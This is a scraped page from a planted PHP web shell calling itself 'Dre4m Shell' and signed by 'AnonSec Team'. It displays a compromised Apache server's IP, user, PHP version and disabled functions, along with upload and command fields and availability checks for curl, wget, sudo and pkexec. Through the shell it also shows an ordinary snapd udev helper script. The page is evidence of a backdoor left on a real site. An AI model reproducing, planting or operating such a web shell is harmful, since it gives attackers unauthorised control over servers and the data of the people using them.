Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 18.117.71.244
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/udev/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /lib/udev/snappy-app-dev
#!/bin/sh
# udev callout to allow a snap to access a device node
set -e
# debugging
#exec >>/tmp/snap-device-helper.log
#exec 2>&1
#set -x
# end debugging

ACTION="$1"
APPNAME="$2"
DEVPATH="$3"
MAJMIN="$4"
[ -n "$APPNAME" ] || { echo "no app name given" >&2; exit 1; }
[ -n "$DEVPATH" ] || { echo "no devpath given" >&2; exit 1; }
[ -n "$MAJMIN" ] || { echo "no major/minor given" >&2; exit 0; }

NOSNAP="${APPNAME#snap_}"
[ "$NOSNAP" != "$APPNAME" ] || { echo "malformed appname $APPNAME" >&2; exit 1; }

# FIXME: this will break for instances that are called "hook" :(
# Handle hooks first, the nosnap part looks like this:
# - "$snap_hook_$hookname"
# - "$snap_$instance_hook_$hookname
# we need to make sure we change this to:
# - "$snap_hook.$hookname"
# - "$snap_$instance_hook.$hookname"
if [ -z "${NOSNAP##*_hook_hook_*}" ]; then
    # $instance is 'hook'; $snap_hook_hook.$hookname -> $snap_hook_hook.$hookname
    NOSNAP="${NOSNAP%_hook_*}_hook.${NOSNAP#*_hook_hook_}"
elif [ -z "${NOSNAP##*_hook_*}" ]; then
    # $snap_$instance_hook_$hookname -> $snap_$instance_hook.$hookname
    NOSNAP="${NOSNAP%_hook_*}_hook.${NOSNAP#*_hook_}"
fi

# Now deal with app/instance untangling
if [ "${NOSNAP#*_*_}" = "${NOSNAP}" ]; then
    # snap_<snap>_<app> -> snap.<snap>.<app>
    SNAPAPP="snap.${NOSNAP%_*}.${NOSNAP#*_}"
else
    # snap_<snap>_<instance>_<app> -> snap.<snap>_<instance>.<app>
    SNAPAPP="snap.${NOSNAP%_*}.${NOSNAP#*_*_}"
fi

DEVICES_CGROUP=${DEVICES_CGROUP:="/sys/fs/cgroup/devices"}
app_dev_cgroup="$DEVICES_CGROUP/$SNAPAPP"

# The cgroup is only present after snap start so ignore any cgroup changes
# (eg, 'add' on boot, hotplug, hotunplug) when the cgroup doesn't exist
# yet. LP: #1762182.
if [ ! -e "$app_dev_cgroup" ]; then
    exit 0
fi

# check if it's a block or char dev
# TODO: re-write this to be more robust, the bash variable substitution done 
# here is quite awkard :-/
if [ "${DEVPATH#*/block/}" != "$DEVPATH" ]; then
    type="b"
elif [ "${DEVPATH#*/nvme/nvme*/nvme*n*}" != "$DEVPATH" ]; then
    # char devices are .../nvme/nvme* but block devices are
    # .../nvme/nvme*/nvme*n* and .../nvme/nvme*/nvme*n*p*
    # so if have a device that has nvme/nvme*/nvme*n* in it,
    # treat it as a block device
    type="b"
else
    type="c"
fi

acl="$type $MAJMIN rwm"
case "$ACTION" in
    add|change)
        echo "$acl" > "$app_dev_cgroup/devices.allow"
        ;;
    remove)
        echo "$acl" > "$app_dev_cgroup/devices.deny"
        ;;
    *)
        echo "ERROR: unknown action $ACTION" >&2
        exit 1 ;;
esac

Anon7 - 2022
AnonSec Team